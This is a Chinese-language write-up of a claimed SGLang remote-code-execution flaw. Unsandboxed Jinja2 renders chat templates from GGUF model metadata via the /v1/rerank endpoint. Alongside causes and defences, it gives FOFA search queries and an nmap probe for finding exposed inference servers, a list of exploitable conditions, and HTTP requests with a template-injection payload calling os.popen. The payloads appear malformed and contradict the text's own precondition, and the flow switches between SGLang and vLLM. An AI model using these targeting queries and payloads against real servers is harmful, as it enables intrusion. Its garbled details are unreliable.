SGLang对ai的影响

SGLang 是目前国内、大厂高频用的大模型高速推理服务框架用来部署本地 LLM、对外提供 API 接口（对话、Embedding、重排序 Rerank），企业 AI 私有部署、AI 中台几乎都在用。GGUF 是现在最主流轻量化大模型格式，Hugging Face 海量开源模型全是 GGUF。

漏洞核心：

SGLang 在 /v1/rerank 重排序接口，直接用无沙箱危险版 Jinja2 渲染模型自带聊天模板
模型元数据里藏 Python 恶意代码 → 服务器自动执行 → 一键拿下整台 AI 推理服务器 RCE 远程任意代码执行

/v1/rerank 重排序 API 端点：
不是聊天对话接口，是语义相关性重排序接口用来给段落、文档排序、检索匹配，企业知识库 RAG 几乎必开这个接口。攻击者只要正常调用这个公开 API，就能触发漏洞

Jinja2 环境未沙箱隔离
大模型都自带聊天模板 Chat Template，用来格式化用户提问、模型回复格式。SGLang 用 environment() 初始化 Jinja2，默认开放 Python 全权限环境没有用安全沙箱 Jinja、没有禁用系统函数、没有隔离模板执行上下文。
正常安全做法：禁用 os、popen、系统调用、文件读写、进程执行函数，只做字符串渲染
漏洞现状：模板 = 代码，模型里写什么 Python 命令，服务器就跑什么

漏洞设计背景：开发者为什么这么写（根源架构原因）
大模型行业通用机制：Chat Template 聊天模板
几乎所有开源 LLM（Qwen、Llama、DeepSeek 等）模型文件本身自带一套 Jinja2 格式对话模板作用：自动拼接用户提问+系统提示+历史上下文，标准化对话格式，保证模型对话不乱码、格式统一。
GGUF 模型 = 权重参数 + 元数据（聊天模板）模板是模型自带属性，不是服务器代码。

SGLang 主打极速推理、兼容全模型、开箱即用为了兼容市面上几百种不同模型的自定义聊天格式，框架直接复用模型内置 Jinja 模板动态渲染。

开发者默认信任模型所有者 = 安全可信认为：
我加载正规模型 → 模型模板一定干净只做字符串拼接，不会执行代码
于是直接使用原生无沙箱 Jinja2 Environment
没有做：
函数白名单限制
系统调用黑名单
沙箱隔离执行环境
模板语法安全过滤
加上 /v1/rerank 重排序接口同样会加载、渲染模型聊天模板
本来大家以为重排序只做向量匹配，没想到也会触发模板渲染双重设计疏忽，铸成高危 RCE

行业历史背景：Llama Drama 前车之鉴
之前 Llama 系列同款 Jinja2 SSTI 已经爆过一轮行业只临时修补对话接口，完全忽略 Rerank 检索重排序接口SGLang 沿用旧架构设计，直接复刻同款高危漏洞

GGUF 模型为什么适合投毒？
GGUF 把聊天模板硬编码写入模型文件元数据
推理框架优先读取模型自带模板，优先级高于服务器配置
权重正常、效果正常，安全工具几乎不扫描模板恶意代码
跨框架通用，换推理引擎依然能用

实战渗透价值：

找公网
/v1/chat
/v1/rerank
AI 接口→ 诱导加载恶意 GGUF 模型→ 一次正常请求直接拿服务器 Root Shell

高危风险场景
1、公网暴露的 SGLang 推理服务

各大公司对外 AI 问答 API
私有化大模型演示站点
高校科研 AI 平台
云厂商开源推理节点
全部默认开启 /v1/rerank、未升级补丁、直接拉 Hugging Face 未审计模型
和漏洞复现环境1:1 完全一致

2、所有用原生 Jinja2 渲染 Chat Template 的大模型框架
不止 SGLangvLLM、Text Generation Inference、LM Studio、OpenRouter 同类架构全部存在同源设计风险只要没做 Jinja 沙箱、没禁用 Python 危险函数，就会 RCE之前 Llama Drama CVE 就是一模一样事故，现在行业依旧没根治

3.企业 AI 自动化流水线（最高危现实场景）
企业 CI/CD 自动：定时拉取 Hugging Face 最新模型 → 自动部署 → 自动重载服务运维根本不看模型元数据、不检查聊天模板攻击者只要上传一个正常效果 GGUF 毒模型几天之内全网企业批量沦陷。

4、本地 AI 桌面软件、私有化 LLM 部署
本地部署 Qwen、Llama、DeepSeekLM Studio、Ollama WebUI、各类 AI 助手后台只要支持自定义 GGUF、支持聊天模板渲染本地电脑也会被执行任意命令、盗文件、植木马

5、政企关基单位 AI 中台环境
政务、金融、能源、央企内网 AI推理服务器权限极高：挂载数据库、业务系统密钥、内网全域互通一旦 RCE = 内网全域沦陷这也是 CVE 定级极高的核心原因。

风险本质：
所有人都信任开源模型，没人信任模型模板大家只看模型智商、效果、速度完全忽略：模型元数据 = 可执行代码
开发者默认：模板只是字符串格式化不知道 Jinja2 = 迷你 Python 解释器
AI 推理服务器普遍高权限运行、无容器隔离、无沙箱一漏洞沦陷 = 整台高配算力服务器完全受控
Rerank、Embedding 这类辅助接口安全防护远低于对话接口，成为最优攻击突破口

攻击者 POST → /v1/rerank
↓
流量到达 vLLM HTTP API
↓
vLLM 调用 Rerank 处理函数
↓
vLLM 读取模型 metadata 中的 chat_template
↓
将请求内容传入模板进行渲染
↓
返回结果给攻击者

用户请求
↓
rerank 接口触发
↓
加载 model.chat_template
↓
jinja2.Environment().from_template(模板内容)
↓
模板渲染执行：{{ 恶意代码 }}
↓
Python 解释器执行 os.popen / subprocess
↓
系统命令运行
↓
反弹 Shell / 信息泄露

防御流程：
管理员
↓
升级 vLLM / SGLang
↓
启用 Jinja2 沙箱
↓
禁用 os / subprocess / popen 等危险函数
↓
禁止加载未验证的外部模型
↓
对模型 metadata 进行安全扫描
↓
关闭公网 /v1/rerank 接口
↓
API 启用鉴权、白名单
↓
推理服务使用低权限运行

FOFA 搜索语法：
body="sglang" && port="3000,8000,8080"
body="vllm" && header="OpenAI-API"
title=="AI对话" && body="/v1/chat/completions"

利用：
漏洞前提是：受害者服务器加载了你做的恶意毒 GGUF 模型
公网普通用户，需要让后台加载你的恶意模型，无法直接rce

示例：
POST /v1/chat/completions HTTP/1.1
Host: 127.0.0.1:3000
User-Agent: Mozilla/5.0
Content-Type: application/json
Connection: close

{
"model": "qwen-0.5b-chat",
"messages": [
{
"role": "user",
"content": "{{ self.init.globals.builtins.import('os').popen('whoami').read() }}"
}
],
"temperature": 0.1,
"stream": false
}

POST /v1/rerank HTTP/1.1
Host: 127.0.0.1:3000
Content-Type: application/json
User-Agent: Mozilla/5.0
Connection: close

{
"model": "qwen-0.5b-chat",
"query": "{{ self.init.globals.builtins.import('os').popen('whoami').read() }}",
"documents": [
"测试文档1",
"Qwen3 重排序触发关键词"
],
"top_n": 3
}

满足全部以下条件 = 高危裸奔可利用
响应头 Server: SGLang / Server: vLLM
无登录鉴权，不用 Token 就能 POST 请求
支持用户自定义上传 / 加载 GGUF 模型
没有返回严格 WAF 报错、没有模板语法拦截
版本：SGLang < 0.4.3 /vLLM < 0.6.2（未打 CVE 补丁）

云 ECS探测：

nmap ECS公网IP -p 3000,8000,8080

http://ECS_IP:3000/v1/models

官方核心防御点
升级 SGLang ≥ 0.4.3，修复 CVE-2026-5760
强制替换沙箱 Jinja：SandboxedEnvironment() 替代原生Environment()
锁定服务器内置模板，禁止读取模型自带 chat_template
关闭公网/v1/rerank接口，API 强制 Token 鉴权 + IP 白名单
推理服务普通低权限运行，禁止 Root 启动
全量扫描 GGUF 模型元数据 Jinja 注入特征